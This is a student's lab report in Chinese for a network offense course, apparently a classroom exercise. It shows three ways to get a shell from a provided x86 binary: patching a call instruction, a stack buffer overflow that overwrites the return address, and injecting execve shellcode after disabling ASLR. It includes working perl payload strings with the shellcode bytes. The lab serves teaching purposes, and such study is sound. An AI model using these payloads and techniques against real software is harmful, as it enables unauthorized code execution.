2018-2019-2 网络对抗技术 20165217 Exp1 PC平台逆向破解
本次实验分为三个模块:
(一)直接修改程序机器指令,改变程序执行流程;
(二)通过构造输入参数,造成BOF攻击,改变程序执行流;
(三)注入Shellcode并执行;
实验准备阶段:
1.将老师提供的pwn1文件通过共享文件夹传到kali上以便以后使用。
2.将pwn1文件复制到主目录下,并进行备份。
有关知识内容
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
2.掌握反汇编与十六进制编程器
反汇编指令:objdump -dobjfile,关于其他用法可参考Linux下C程序的反汇编
关于管道,输入、输出重定向参考linux下输入输出重定向和管道符
十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件,其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下:
-
输入命令vi 20165330zyx查看可执行文件内容,发现大部分是我们没法理解的乱码;
-
按esc后在底行输入:%!xxd将显示模式切换为16进制模式;
-
进行相关操作后,输入:%!xxd -r转换16进制为原格式。
3.能正确修改机器指令改变程序执行流程
详见任务一
4.能正确构造payload进行bof攻击
详见任务二
任务一 (直接修改程序机器指令,改变程序执行流程)
当你拿到这个文件以后,放在你的虚拟机里面,你会发现他可能不是可执行文件(没有高亮):
(图一)
解决办法:chmod +x pwn1即可,执行之后文件变成高亮:
(图二)
第一个任务实际上就是:在main函数对子函数foo调用的时候,修改call指令跳转的地址,使其跳转到子函数shellcode处进行执行,从而达到获取shell的目的。
首先:objdump -d pwn1,反汇编pwn1文件。
反汇编结束后你发现:main函数里面有一步call 804891
进一步分析:08048491是,0804847d是我们的跳转目标。
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
(小端机器)
接着使用命令vi pwn1修改文件。
进入之后是乱码,使用:%!xxd转换为16进制显示。
使用/d7命令寻找e8d7ffffff机器指令所在地。
找到以后按i进入插入模式,修改d7为c3。
然后使用:%!xxd -r换回乱码的样子(不换回去会出问题),再用:wq保存即可。
这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:
执行./pwn1文件可以成功获取shell:
至此第一个实验成功。
任务二(通过构造输入参数,造成BOF攻击,改变程序执行流)
实验存在的问题:
1.问题原因:任务一中更改文件内容忘记备份。
解决方案:重新载入该文件。
2.问题原因:权限不够,需要再次输入 chmod +x pwn3
实现操作:
使用gdb命令,输入gdb pwn3
输入r执行pwn4,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。
输入36个字符后回车:1111111122222222333333334444444487654321,观察一下各寄存器的值
这时候已经发生段错误:Segmentation fault,你能看见图中:0x35363738 in ?? (),也就是说他不认识跳转的地址0x35363738是什么。
info r查看寄存器eip的值,发现输入的8765被覆盖到堆栈上的返回地址
这是我们就将getShell的地址0x0804847d把8765替换即可
由于数据按小端存储,我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
使用16进制查看指令xxd查看input文件的内容是否如预期
确认无误后用(cat input;cat) | ./pwn3将input中的字符串作为可执行文件的输入
任务三(注入Shellcode并执行)
一开始先要设置堆栈可执行:
execstack -s pwn4 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
堆栈可执行的话结果是X pwn4;(没有这个命令就apt-get install execstack)
另外,如果一开始没有关闭地址随机化,每一次操作esp的地址都会变化,因此实验的关键就是要关闭地址随机化。
使用echo "0" > /proc/sys/kernel/randomize_va_space关闭。
整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
首先在一个窗口运行 (cat input_shellcode;cat) | ./pwn4;
在另外一个窗口ps -ef | grep pwn能看见当前运行pwn4的进程号;
在gdb里面attach 进程号进行调试如图:
设置断点查看注入buf的内存地址
disassemble foo //反汇编
break *0x080484ae //设置断点
//在另外一个终端中按下回车
c继续
info r esp查看esp栈顶指针的地址
使用x/16x 0xffffd33c查看其存放内容,看到01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340,即0xffffd33c加上4字节
c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的 \x4\x3\x2\x1部分:
perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
再次运行 (cat input_shellcode;cat) | ./pwn4 后发现执行成功
实验收获与感想
本次实验的内容不算很难,但许多细节上的不小心浪费了我很多时间,同时在本次试验中我对堆栈和一些寄存器的使用有了更深刻的体会,明白了堆栈是怎么被恶意代码覆盖的,覆盖后又是如何跳转的,跳转后又是怎么执行的。在今后的实验中,我也会更加细心、认真的完成好接下来的实验。